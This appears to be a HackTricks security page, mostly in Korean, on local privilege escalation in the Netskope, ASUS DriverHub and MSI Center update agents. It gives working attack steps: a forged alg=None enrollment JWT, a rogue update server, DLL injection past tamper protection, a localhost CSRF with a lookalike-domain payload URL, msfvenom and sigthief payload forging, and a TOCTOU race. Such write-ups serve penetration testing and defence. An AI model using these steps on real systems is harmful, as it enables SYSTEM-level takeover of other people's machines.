์—”ํ„ฐํ”„๋ผ์ด์ฆˆ ์ž๋™ ์—…๋ฐ์ดํŠธ ๋ฐ ๊ถŒํ•œ ์žˆ๋Š” IPC ์•…์šฉ (e.g., Netskope, ASUS & MSI)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” ์ €๋งˆ์ฐฐ IPC ์ธํ„ฐํŽ˜์ด์Šค์™€ ๊ถŒํ•œ ์žˆ๋Š” ์—…๋ฐ์ดํŠธ ํ”Œ๋กœ์šฐ๋ฅผ ๋…ธ์ถœํ•˜๋Š” ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ ์—”๋“œํฌ์ธํŠธ ์—์ด์ „ํŠธ ๋ฐ ์—…๋ฐ์ดํ„ฐ๋“ค์—์„œ ๋ฐœ๊ฒฌ๋˜๋Š” Windows ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน ์ฒด์ธ ๋ฒ”์ฃผ๋ฅผ ์ผ๋ฐ˜ํ™”ํ•ฉ๋‹ˆ๋‹ค. ๋Œ€ํ‘œ์ ์ธ ์˜ˆ๋กœ Netskope Client for Windows < R129 (CVE-2025-0309)๊ฐ€ ์žˆ์œผ๋ฉฐ, ์—ฌ๊ธฐ์„œ ๋‚ฎ์€ ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž๋Š” enrollment๋ฅผ ๊ณต๊ฒฉ์ž ์ œ์–ด ์„œ๋ฒ„๋กœ ๊ฐ•์ œํ•œ ๋’ค SYSTEM ์„œ๋น„์Šค๊ฐ€ ์„ค์น˜ํ•˜๋Š” ์•…์„ฑ MSI๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋น„์Šทํ•œ ์ œํ’ˆ์— ์žฌ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์š” ์•„์ด๋””์–ด:

  • ๊ถŒํ•œ ์žˆ๋Š” ์„œ๋น„์Šค์˜ localhost IPC๋ฅผ ์•…์šฉํ•ด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ์˜ ์žฌ๋“ฑ๋ก ๋˜๋Š” ์žฌ๊ตฌ์„ฑ์„ ๊ฐ•์ œํ•œ๋‹ค.
  • ๋ฒค๋”์˜ ์—…๋ฐ์ดํŠธ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๊ตฌํ˜„ํ•˜๊ณ  ์•…์„ฑ Trusted Root CA๋ฅผ ๋ฐฐํฌํ•œ ๋’ค, ์—…๋ฐ์ดํŠธ ํ”„๋กœ๊ทธ๋žจ์„ ์•…์„ฑ โ€œ์„œ๋ช…๋œโ€ ํŒจํ‚ค์ง€๋กœ ๊ฐ€๋ฆฌํ‚จ๋‹ค.
  • ์•ฝํ•œ ์„œ๋ช…์ž ๊ฒ€์‚ฌ(CN allow-lists), ์„ ํƒ์  digest ํ”Œ๋ž˜๊ทธ, ๋А์Šจํ•œ MSI ์†์„ฑ์„ ํšŒํ”ผํ•œ๋‹ค.
  • IPC๊ฐ€ โ€œ์•”ํ˜ธํ™”โ€๋˜์–ด ์žˆ๋‹ค๋ฉด, ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ์ €์žฅ๋œ ๋ชจ๋‘๊ฐ€ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๋จธ์‹  ์‹๋ณ„์ž์—์„œ key/IV๋ฅผ ์œ ๋„ํ•œ๋‹ค.
  • ์„œ๋น„์Šค๊ฐ€ ํ˜ธ์ถœ์ž๋ฅผ image path/process name์œผ๋กœ ์ œํ•œํ•˜๋ฉด, ํ—ˆ์šฉ๋œ ํ”„๋กœ์„ธ์Šค์— ์ธ์ ์…˜ํ•˜๊ฑฐ๋‚˜ ํ”„๋กœ์„ธ์Šค๋ฅผ suspended ์ƒํƒœ๋กœ ์ƒ์„ฑํ•œ ๋’ค ์ตœ์†Œํ•œ์˜ thread-context ํŒจ์น˜๋กœ DLL์„ ๋ถ€ํŠธ์ŠคํŠธ๋žฉํ•œ๋‹ค.

1) localhost IPC๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ์˜ ๋“ฑ๋ก ๊ฐ•์ œ

๋งŽ์€ ์—์ด์ „ํŠธ๋Š” JSON์„ ์‚ฌ์šฉํ•ด localhost TCP๋กœ SYSTEM ์„œ๋น„์Šค์™€ ํ†ต์‹ ํ•˜๋Š” user-mode UI ํ”„๋กœ์„ธ์Šค๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

Netskope์—์„œ ๊ด€์ฐฐ๋จ:

  • UI: stAgentUI (low integrity) โ†” Service: stAgentSvc (SYSTEM)
  • IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN

์ต์Šคํ”Œ๋กœ์ž‡ ํ๋ฆ„:

  1. ๋ฐฑ์—”๋“œ ํ˜ธ์ŠคํŠธ(e.g., AddonUrl)๋ฅผ ์ œ์–ดํ•˜๋Š” ํด๋ ˆ์ž„์„ ๊ฐ€์ง„ JWT enrollment ํ† ํฐ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. alg=None์„ ์‚ฌ์šฉํ•ด ์„œ๋ช…์ด ํ•„์š” ์—†๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  2. JWT์™€ tenant name์„ ํฌํ•จํ•ด provisioning ๋ช…๋ น์„ ํ˜ธ์ถœํ•˜๋Š” IPC ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋ƒ…๋‹ˆ๋‹ค:
{
"148": {
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
"tenantName": "TestOrg"
}
}
  1. ์„œ๋น„์Šค๊ฐ€ ๋“ฑ๋ก/๊ตฌ์„ฑ(enrollment/config)์„ ์œ„ํ•ด ์•…์„ฑ ์„œ๋ฒ„๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๊ธฐ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ:
  • /v1/externalhost?service=enrollment
  • /config/user/getbrandingbyemail

Notes:

  • If caller verification is path/name-based, originate the request from a allow-listed vendor binary (see ยง4).

2) Hijacking the update channel to run code as SYSTEM

Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence:

  1. /v2/config/org/clientconfig โ†’ Return JSON config with a very short updater interval, e.g.:
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
  1. /config/ca/cert โ†’ PEM CA ์ธ์ฆ์„œ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์„œ๋น„์Šค๊ฐ€ ์ด๋ฅผ Local Machine Trusted Root store์— ์„ค์น˜ํ•ฉ๋‹ˆ๋‹ค.
  2. /v2/checkupdate โ†’ ์•…์„ฑ MSI์™€ ๊ฐ€์งœ ๋ฒ„์ „์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Bypassing common checks seen in the wild:

  • Signer CN allow-list: ์„œ๋น„์Šค๊ฐ€ Subject CN์ด โ€œnetSkope Incโ€ ๋˜๋Š” โ€œNetskope, Inc.โ€์ธ์ง€ ์—ฌ๋ถ€๋งŒ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•…์„ฑ CA๋Š” ํ•ด๋‹น CN์„ ๊ฐ€์ง„ leaf๋ฅผ ๋ฐœ๊ธ‰ํ•ด MSI์— ์„œ๋ช…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • CERT_DIGEST property: CERT_DIGEST๋ผ๋Š” ์ •์ƒ MSI ์†์„ฑ์„ ํฌํ•จํ•˜์„ธ์š”. ์„ค์น˜ ์‹œ ๊ฐ•์ œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • Optional digest enforcement: ๊ตฌ์„ฑ ํ”Œ๋ž˜๊ทธ(์˜ˆ: check_msi_digest=false)๊ฐ€ ์ถ”๊ฐ€ ์•”ํ˜ธํ™” ๊ฒ€์ฆ์„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.

Result: SYSTEM ์„œ๋น„์Šค๊ฐ€ C:\ProgramData\Netskope\stAgent\data*.msi์—์„œ MSI๋ฅผ ์„ค์น˜ํ•ด NT AUTHORITY\SYSTEM์œผ๋กœ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.


3) Forging encrypted IPC requests (when present)

R127๋ถ€ํ„ฐ Netskope๋Š” IPC JSON์„ Base64์ฒ˜๋Ÿผ ๋ณด์ด๋Š” encryptData ํ•„๋“œ๋กœ ๋ž˜ํ•‘ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋ฆฌ๋ฒ„์Šค ๊ฒฐ๊ณผ, ํ‚ค/IV๊ฐ€ ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฐ’์—์„œ ํŒŒ์ƒ๋œ AES์ž„์ด ๋“œ๋Ÿฌ๋‚ฌ์Šต๋‹ˆ๋‹ค:

  • Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
  • IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID

๊ณต๊ฒฉ์ž๋Š” ์•”ํ˜ธํ™”๋ฅผ ์žฌํ˜„ํ•ด ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž ๊ณ„์ •์—์„œ ์œ ํšจํ•œ ์•”ํ˜ธํ™”๋œ ๋ช…๋ น์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ํŒ: ์—์ด์ „ํŠธ๊ฐ€ ๊ฐ‘์ž๊ธฐ IPC๋ฅผ โ€œ์•”ํ˜ธํ™”โ€ํ•˜๊ธฐ ์‹œ์ž‘ํ•˜๋ฉด, HKLM ์•„๋ž˜์˜ device ID, product GUID, install ID ๋“ฑ์„ ์žฌ๋ฃŒ๋กœ ์‚ฌ์šฉํ•˜๋Š”์ง€ ์ฐพ์•„๋ณด์„ธ์š”.


4) Bypassing IPC caller allow-lists (path/name checks)

์ผ๋ถ€ ์„œ๋น„์Šค๋Š” TCP ์—ฐ๊ฒฐ์˜ PID๋ฅผ ํ™•์ธํ•˜๊ณ  ์ด๋ฏธ์ง€ ๊ฒฝ๋กœ/์ด๋ฆ„์„ Program Files ์•„๋ž˜์˜ ํ—ˆ์šฉ๋œ ๋ฒค๋” ๋ฐ”์ด๋„ˆ๋ฆฌ(์˜ˆ: stagentui.exe, bwansvc.exe, epdlp.exe)์™€ ๋น„๊ตํ•ด ํ”ผ์–ด๋ฅผ ์ธ์ฆํ•˜๋ ค ํ•ฉ๋‹ˆ๋‹ค.

์‹ค์šฉ์ ์ธ ์šฐํšŒ ๋ฐฉ๋ฒ• ๋‘ ๊ฐ€์ง€:

  • DLL injection์„ ํ—ˆ์šฉ๋œ ํ”„๋กœ์„ธ์Šค(์˜ˆ: nsdiag.exe)์— ์ˆ˜ํ–‰ํ•˜๊ณ  ๋‚ด๋ถ€์—์„œ IPC๋ฅผ ํ”„๋ก์‹œํ•ฉ๋‹ˆ๋‹ค.
  • ํ—ˆ์šฉ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ผ์‹œ ์ค‘๋‹จ๋œ ์ƒํƒœ๋กœ ์‹คํ–‰ํ•œ ๋’ค CreateRemoteThread ์—†์ด ํ”„๋ก์‹œ DLL์„ ๋ถ€ํŠธ์ŠคํŠธ๋žฉ(ยง5 ์ฐธ๊ณ )ํ•˜์—ฌ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๊ฐ•์ œํ•˜๋Š” ๋ณ€์กฐ ๊ทœ์น™์„ ๋งŒ์กฑ์‹œํ‚ต๋‹ˆ๋‹ค.

5) Tamper-protection friendly injection: suspended process + NtContinue patch

์ œํ’ˆ๋“ค์€ ์ข…์ข… ๋ณดํ˜ธ๋œ ํ”„๋กœ์„ธ์Šค ํ•ธ๋“ค์—์„œ ์œ„ํ—˜ํ•œ ๊ถŒํ•œ์„ ์ œ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด minifilter/OB callbacks ๋“œ๋ผ์ด๋ฒ„(์˜ˆ: Stadrv)๋ฅผ ๋™๋ด‰ํ•ฉ๋‹ˆ๋‹ค:

  • Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME๋ฅผ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค
  • Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE๋กœ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค

์ด ์ œ์•ฝ์„ ์ค€์ˆ˜ํ•˜๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” user-mode ๋กœ๋”:

  1. ๋ฒค๋” ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ CREATE_SUSPENDED๋กœ CreateProcess ํ•ฉ๋‹ˆ๋‹ค.
  2. ์—ฌ์ „ํžˆ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ํ•ธ๋“ค์„ ํ™•๋ณดํ•ฉ๋‹ˆ๋‹ค: ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•ด PROCESS_VM_WRITE | PROCESS_VM_OPERATION, ๊ทธ๋ฆฌ๊ณ  THREAD_GET_CONTEXT/THREAD_SET_CONTEXT ๊ถŒํ•œ(๋˜๋Š” ์•Œ๋ ค์ง„ RIP์—์„œ ์ฝ”๋“œ๋ฅผ ํŒจ์น˜ํ•  ๊ฒฝ์šฐ์—๋Š” THREAD_RESUME๋งŒ) ์žˆ๋Š” ์Šค๋ ˆ๋“œ ํ•ธ๋“ค.
  3. ntdll!NtContinue(๋˜๋Š” ์ดˆ๊ธฐ๋ถ€ํ„ฐ ๋งคํ•‘๋œ ๋‹ค๋ฅธ thunk)๋ฅผ LoadLibraryW๋กœ ๋‹น์‹ ์˜ DLL ๊ฒฝ๋กœ๋ฅผ ํ˜ธ์ถœํ•œ ๋‹ค์Œ ๋‹ค์‹œ ์ ํ”„ํ•˜๋„๋ก ํ•˜๋Š” ์ž‘์€ ์Šคํ…์œผ๋กœ ๋ฎ์–ด์”๋‹ˆ๋‹ค.
  4. ResumeThread๋กœ ์Šคํ…์„ ํŠธ๋ฆฌ๊ฑฐํ•ด ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ DLL์„ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

์ด๋ฏธ ๋ณดํ˜ธ๋œ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•ด PROCESS_CREATE_THREAD๋‚˜ PROCESS_SUSPEND_RESUME์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์—(ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ–ˆ์œผ๋ฏ€๋กœ) ๋“œ๋ผ์ด๋ฒ„์˜ ์ •์ฑ…์„ ๋งŒ์กฑํ•ฉ๋‹ˆ๋‹ค.


6) Practical tooling

  • NachoVPN (Netskope plugin) ์€ rogue CA, ์•…์„ฑ MSI ์„œ๋ช… ๊ณผ์ •์„ ์ž๋™ํ™”ํ•˜๊ณ  /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate ๊ฐ™์€ ํ•„์š”ํ•œ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • UpSkope๋Š” ์ž„์˜์˜(์„ ํƒ์ ์œผ๋กœ AES-encrypted๋œ) IPC ๋ฉ”์‹œ์ง€๋ฅผ ์ œ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š” ์ปค์Šคํ…€ IPC ํด๋ผ์ด์–ธํŠธ์ด๋ฉฐ, ํ—ˆ์šฉ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ์‹œ์ž‘ํ•˜๋„๋ก suspended-process ์ธ์ ์…˜์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

1) Browser-to-localhost CSRF against privileged HTTP APIs (ASUS DriverHub)

DriverHub๋Š” 127.0.0.1:53000์—์„œ ๋ธŒ๋ผ์šฐ์ € ํ˜ธ์ถœ์„ https://driverhub.asus.com์—์„œ ์˜ค๋Š” ๊ฒƒ์œผ๋กœ ๊ธฐ๋Œ€ํ•˜๋Š” ์‚ฌ์šฉ์ž ๋ชจ๋“œ HTTP ์„œ๋น„์Šค(ADU.exe)๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. Origin ํ•„ํ„ฐ๋Š” Origin ํ—ค๋”์™€ /asus/v1.0/*๋กœ ๋…ธ์ถœ๋œ ๋‹ค์šด๋กœ๋“œ URL์— ๋Œ€ํ•ด ๋‹จ์ˆœํžˆ string_contains(".asus.com")์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ https://driverhub.asus.com.attacker.tld์™€ ๊ฐ™์€ ๊ณต๊ฒฉ์ž ์ œ์–ด ํ˜ธ์ŠคํŠธ๋Š” ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•˜๊ณ  JavaScript์—์„œ ์ƒํƒœ ๋ณ€๊ฒฝ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ์šฐํšŒ ํŒจํ„ด์€ CSRF basics๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

์‹ค์šฉ์  ํ๋ฆ„:

  1. .asus.com์„ ํฌํ•จํ•˜๋Š” ๋„๋ฉ”์ธ์„ ๋“ฑ๋กํ•˜๊ณ  ๊ทธ๊ณณ์— ์•…์„ฑ ์›นํŽ˜์ด์ง€๋ฅผ ํ˜ธ์ŠคํŒ…ํ•ฉ๋‹ˆ๋‹ค.
  2. fetch ๋˜๋Š” XHR์„ ์‚ฌ์šฉํ•ด http://127.0.0.1:53000์˜ ๊ถŒํ•œ ์žˆ๋Š” ์—”๋“œํฌ์ธํŠธ(์˜ˆ: Reboot, UpdateApp)๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  3. ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ๊ธฐ๋Œ€ํ•˜๋Š” JSON ๋ฐ”๋””๋ฅผ ์ „์†กํ•˜์„ธ์š” โ€“ ํŒจํ‚น๋œ frontend JS๊ฐ€ ์•„๋ž˜ ์Šคํ‚ค๋งˆ๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.
fetch("http://127.0.0.1:53000/asus/v1.0/Reboot", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ Event: [{ Cmd: "Reboot" }] })
});

์•„๋ž˜์— ํ‘œ์‹œ๋œ PowerShell CLI๋„ Origin header๊ฐ€ ์‹ ๋ขฐ๋œ ๊ฐ’์œผ๋กœ spoofed๋˜๋ฉด ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค:

Invoke-WebRequest -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot" -Method Post \
-Headers @{Origin="https://driverhub.asus.com"; "Content-Type"="application/json"} \
-Body (@{Event=@(@{Cmd="Reboot"})}|ConvertTo-Json)

Any browser visit to the attacker site therefore becomes a 1-click (or 0-click via onload) local CSRF that drives a SYSTEM helper.


2) Insecure code-signing verification & certificate cloning (ASUS UpdateApp)

/asus/v1.0/UpdateApp downloads arbitrary executables defined in the JSON body and caches them in C:\ProgramData\ASUS\AsusDriverHub\SupportTemp. Download URL validation reuses the same substring logic, so http://updates.asus.com.attacker.tld:8000/payload.exe is accepted. After download, ADU.exe merely checks that the PE contains a signature and that the Subject string matches ASUS before running it โ€“ no WinVerifyTrust, no chain validation.

ํ๋ฆ„์„ ๋ฌด๊ธฐํ™”ํ•˜๋ ค๋ฉด:

  1. ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: msfvenom -p windows/exec CMD=notepad.exe -f exe -o payload.exe).
  2. ASUS์˜ ์„œ๋ช…์ž๋ฅผ ํŽ˜์ด๋กœ๋“œ์— ํด๋ก ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: python sigthief.py -i ASUS-DriverHub-Installer.exe -t payload.exe -o pwn.exe).
  3. pwn.exe๋ฅผ .asus.com ์œ ์‚ฌ ๋„๋ฉ”์ธ์— ํ˜ธ์ŠคํŒ…ํ•˜๊ณ  ์œ„์˜ ๋ธŒ๋ผ์šฐ์ € CSRF๋ฅผ ํ†ตํ•ด UpdateApp์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

Origin๊ณผ URL ํ•„ํ„ฐ๊ฐ€ ๋ชจ๋‘ substring-based์ด๊ณ  ์„œ๋ช…์ž ๊ฒ€์‚ฌ๊ฐ€ ๋ฌธ์ž์—ด ๋น„๊ต๋งŒ ์ˆ˜ํ–‰ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, DriverHub๋Š” ์ƒ์Šน๋œ ์ปจํ…์ŠคํŠธ๋กœ ๊ณต๊ฒฉ์ž ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ฐ€์ ธ์™€ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.


1) TOCTOU inside updater copy/execute paths (MSI Center CMD_AutoUpdateSDK)

MSI Centerโ€™s SYSTEM service exposes a TCP protocol where each frame is 4-byte ComponentID || 8-byte CommandID || ASCII arguments. The core component (Component ID 0f 27 00 00) ships CMD_AutoUpdateSDK = {05 03 01 08 FF FF FF FC}. Its handler:

  1. Copies the supplied executable to C:\Windows\Temp\MSI Center SDK.exe.
  2. Verifies the signature via CS_CommonAPI.EX_CA::Verify (certificate subject must equal โ€œMICRO-STAR INTERNATIONAL CO., LTD.โ€ and WinVerifyTrust succeeds).
  3. Creates a scheduled task that runs the temp file as SYSTEM with attacker-controlled arguments.

๋ณต์‚ฌ๋œ ํŒŒ์ผ์€ ๊ฒ€์ฆ๊ณผ ExecuteTask() ์‚ฌ์ด์—์„œ ์ž ๊ธˆ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š”:

  • ์„œ๋ช…์ด ์žˆ๋Š” ํ•ฉ๋ฒ•์ ์ธ MSI ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” Frame A๋ฅผ ๋ณด๋ƒ…๋‹ˆ๋‹ค(์„œ๋ช… ๊ฒ€์‚ฌ ํ†ต๊ณผ์™€ ์ž‘์—… ํ ๋“ฑ๋ก์„ ๋ณด์žฅ).
  • ๋ฐ˜๋ณต๋˜๋Š” Frame B ๋ฉ”์‹œ์ง€๋กœ ๋ ˆ์ด์Šคํ•˜์—ฌ ์•…์„ฑ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•˜๊ณ , ๊ฒ€์ฆ์ด ์™„๋ฃŒ๋œ ์งํ›„ MSI Center SDK.exe๋ฅผ ๋ฎ์–ด์”๋‹ˆ๋‹ค.

์Šค์ผ€์ค„๋Ÿฌ๊ฐ€ ์‹คํ–‰๋  ๋•Œ, ์›๋ž˜ ํŒŒ์ผ์„ ๊ฒ€์ฆํ–ˆ์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ๋ฎ์–ด์จ์ง„ ํŽ˜์ด๋กœ๋“œ๊ฐ€ SYSTEM ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์€ TOCTOU ์œˆ๋„์šฐ๋ฅผ ํ™•๋ณดํ•  ๋•Œ๊นŒ์ง€ CMD_AutoUpdateSDK๋ฅผ ์ŠคํŒธํ•˜๋Š” ๋‘ ๊ฐœ์˜ goroutines/์Šค๋ ˆ๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.


2) Abusing custom SYSTEM-level IPC & impersonation (MSI Center + Acer Control Centre)

MSI Center TCP command sets

  • MSI.CentralServer.exe๊ฐ€ ๋กœ๋“œํ•˜๋Š” ๋ชจ๋“  ํ”Œ๋Ÿฌ๊ทธ์ธ/DLL์€ HKLM\SOFTWARE\MSI\MSI_CentralServer์— ์ €์žฅ๋œ Component ID๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค. ํ”„๋ ˆ์ž„์˜ ์ฒ˜์Œ 4๋ฐ”์ดํŠธ๊ฐ€ ํ•ด๋‹น ์ปดํฌ๋„ŒํŠธ๋ฅผ ์„ ํƒํ•˜๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๋Š” ์ž„์˜ ๋ชจ๋“ˆ๋กœ ๋ช…๋ น์„ ๋ผ์šฐํŒ…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์ž์ฒด task runner๋ฅผ ์ •์˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Support\API_Support.dll๋Š” CMD_Common_RunAMDVbFlashSetup = {05 03 01 08 01 00 03 03}๋ฅผ ๋…ธ์ถœํ•˜๊ณ  API_Support.EX_Task::ExecuteTask()๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•˜๋ฉฐ ์„œ๋ช… ๊ฒ€์ฆ์ด ์—†์Šต๋‹ˆ๋‹ค โ€“ ๋ชจ๋“  ๋กœ์ปฌ ์‚ฌ์šฉ์ž๊ฐ€ C:\Users\<user>\Desktop\payload.exe๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉด ๊ฒฐ์ •๋ก ์ ์œผ๋กœ SYSTEM ์‹คํ–‰์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Wireshark๋กœ loopback์„ ์Šค๋‹ˆํ•‘ํ•˜๊ฑฐ๋‚˜ dnSpy๋กœ .NET ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์ธ์ŠคํŠธ๋ฃจ๋จผํŠธํ•˜๋ฉด Component โ†” command ๋งคํ•‘์ด ๋น ๋ฅด๊ฒŒ ๋“œ๋Ÿฌ๋‚˜๋ฉฐ, ์ดํ›„ ์ปค์Šคํ…€ Go/ Python ํด๋ผ์ด์–ธํŠธ๋กœ ํ”„๋ ˆ์ž„์„ ์žฌ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Acer Control Centre named pipes & impersonation levels

  • ACCSvc.exe (SYSTEM)์€ \\.\pipe\treadstone_service_LightMode๋ฅผ ๋…ธ์ถœํ•˜๋ฉฐ, ๊ทธ ์žฌ๋Ÿ‰ ACL์€ ์›๊ฒฉ ํด๋ผ์ด์–ธํŠธ(์˜ˆ: \\TARGET\pipe\treadstone_service_LightMode)๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ ๊ฒฝ๋กœ์™€ ํ•จ๊ป˜ command ID 7์„ ๋ณด๋‚ด๋ฉด ์„œ๋น„์Šค์˜ ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ ๋ฃจํ‹ด์ด ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค.
  • ํด๋ผ์ด์–ธํŠธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” ์ธ์ž์™€ ํ•จ๊ป˜ ๋งค์ง ์ข…๋ฃŒ ๋ฐ”์ดํŠธ(113)๋ฅผ ์ง๋ ฌํ™”ํ•ฉ๋‹ˆ๋‹ค. Frida/TsDotNetLib๋กœ ๋™์  ์ธ์ŠคํŠธ๋ฃจ๋จผํŠธํ•˜๋ฉด(์ธ์ŠคํŠธ๋ฃจ๋จผํŠธ ํŒ์€ Reversing Tools & Basic Methods ์ฐธ์กฐ) ๋„ค์ดํ‹ฐ๋ธŒ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์ด ๊ฐ’์„ SECURITY_IMPERSONATION_LEVEL๊ณผ ๋ฌด๊ฒฐ์„ฑ SID์— ๋งคํ•‘ํ•œ ๋‹ค์Œ CreateProcessAsUser๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.
